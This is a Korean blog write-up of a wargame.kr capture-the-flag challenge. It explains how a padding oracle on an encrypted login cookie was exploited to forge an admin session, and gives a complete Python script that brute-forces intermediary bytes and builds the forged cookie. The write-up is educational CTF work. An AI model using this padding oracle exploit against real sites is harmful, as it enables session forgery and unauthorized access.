늘모자란, 개발 :: [wargame.kr] Challenge 34 - dun worry about the vase

늘모자란, 개발

Do you know about "padding oracle vulnerability" ?


들어가면 로그인창 하나 있고 소스도 뭐도 없다. guest로 로그인하면 admin으로 로그인하라고 한다.
그리고 L0g1n 이라는 쿠키가 생성된다. 얘는 로그인할때마다 값이 바뀌고, base64화되어있는데 풀어보면 거진 깨진 문자이다.
그래서 쿠키를 1 이라고 편집한 후에 main페이지를 호출했더니 아니 글쎄 invalid iv라고 나온다.

몇번 돌려보니 이런 꼴임을 알 수 있었는데

fKSI1AtTKdE=6t9sghWo8KE=
/e0oQKDo2u0=giMFpLfrwh0=


두개의 base64가 합쳐진듯했고 풀어보니 풀어진다. 유추해보기로 id, pw 가 붙어있는듯 보인다.
base64를 좀 다르게 보내보니 padding error라고 값이 리턴되고, 2바이트를 빼니 invalid iv 라고 나온다.
즉, base64 decode 한 후에 인코드해서 얻을 수 있는 hex코드는 16자리 전부 iv에 쓰이고 있다는 것이다


문제를 어떻게 풀어야되는지 이제 감이 잡히니 검색질을 할 시간이다.

padding oracle attack을 검색하면 뭔가 잔뜩 나오지만 한글로된 문서가 별로 없었다. 그래도 하나 있었다. 세상은 살만해..
(좀 계속찾아보니 중복되는 자료가 많았다. padbuster 이런식으로 검색해도 닿을 수 있다. 실제 취약점이 있는 페이지는 padbuster에 의해 무참히 박살 날 수 있다. 굉장한 취약점이니 꼭 점검하자)

PDF를 같이 열어놓고 차근차근 따라가보자.
먼저, 만들어진 문자열과 시도하려는 문자열을 생각해보자.

guest로 로그인했을때 만들어진값은 당연히 guest라는 문자열을 사용했을 것이다.
헌데 이녀석은 8자가 안된다. 따라서 padding이 진행되어

g u e s t 0x3 0x3 0x3 로 시도되었을 것이다. 이로 미루어보아 admin도
a d m i n 0x3 0x3 0x3 의 형태로 쿠키를 만들어주면 될 것이다.

먼저 intermediary value 를 알아내야한다. 그래서 코드를 짜야하고...
(이렇게 담담하게 적지만 몇시간에 걸친 굉장한 삽질을 했다. 한숨만 나온다 ...........)
알아낸 이후에 XOR후 키를 만들어내면된다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, base64

def mkcookie(value):
    ret_str = ""
    ret_str += urllib.quote(base64.b64encode(value[:len(value)/2].decode('hex')))
    ret_str += urllib.quote(base64.b64encode(value[len(value)/2:].decode('hex')))
    return ret_str

def xor(data, offset):
    tmp = ""
    for i in range(0, len(data), 2):
        tmp += str(hex(int(data[i:i+2], 16) ^ offset).split('x')[1]).zfill(2)
    return tmp

cookie_id = "Ya4iK7+8SKA="
cookie_pw = "rixnqH9n7NA="
imtermediary = ""
payload = ""
decrypt = ''


session = "Ya4iK7+8SKA%3D rixnqH9n7NA%3D"
sess = cookie_id.decode('base64').encode('hex') + cookie_pw.decode('base64').encode('hex')


for i in range(1,9):
    for j in xrange(0x00, 0xff):
        hexa = format(j, 'X')
        tmp = str(hexa + xor(imtermediary, i)).zfill(16)
        payload = mkcookie(tmp + sess[len(sess)/2:])

        headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
        req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        if "padding error" not in res:
            imtermediary = str(xor(hexa, i)).zfill(2) + imtermediary
            print "[!]", imtermediary , tmp
            break

imtermediary = "06db4758cbbf4ba3"

for i in range(0, len(imtermediary), 2):
    decrypt = decrypt + chr(int(imtermediary[i:i+2],16) ^ int(sess[i:i+2],16))

payload = ''
for i in range(0, len(imtermediary), 2):
    payload += str(hex(int(imtermediary[i:i+2],16) ^ int("admin".encode('hex')+decrypt[5:].encode('hex')[i:i+2],16)).split('x')[1]).zfill(2)


payload = mkcookie(payload + sess[len(sess)/2:])
headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
response = urllib2.urlopen(req)
res = response.read()
print res


도움을 이곳에서 가장 많이 받았다.
이곳의 글은 간단하지만 핵심이긴하다. 근데 너무 핵심만 있어서 엄청나게 헤맸다..... 현기증난다.
2016/06/22 05:02 2016/06/22 05:02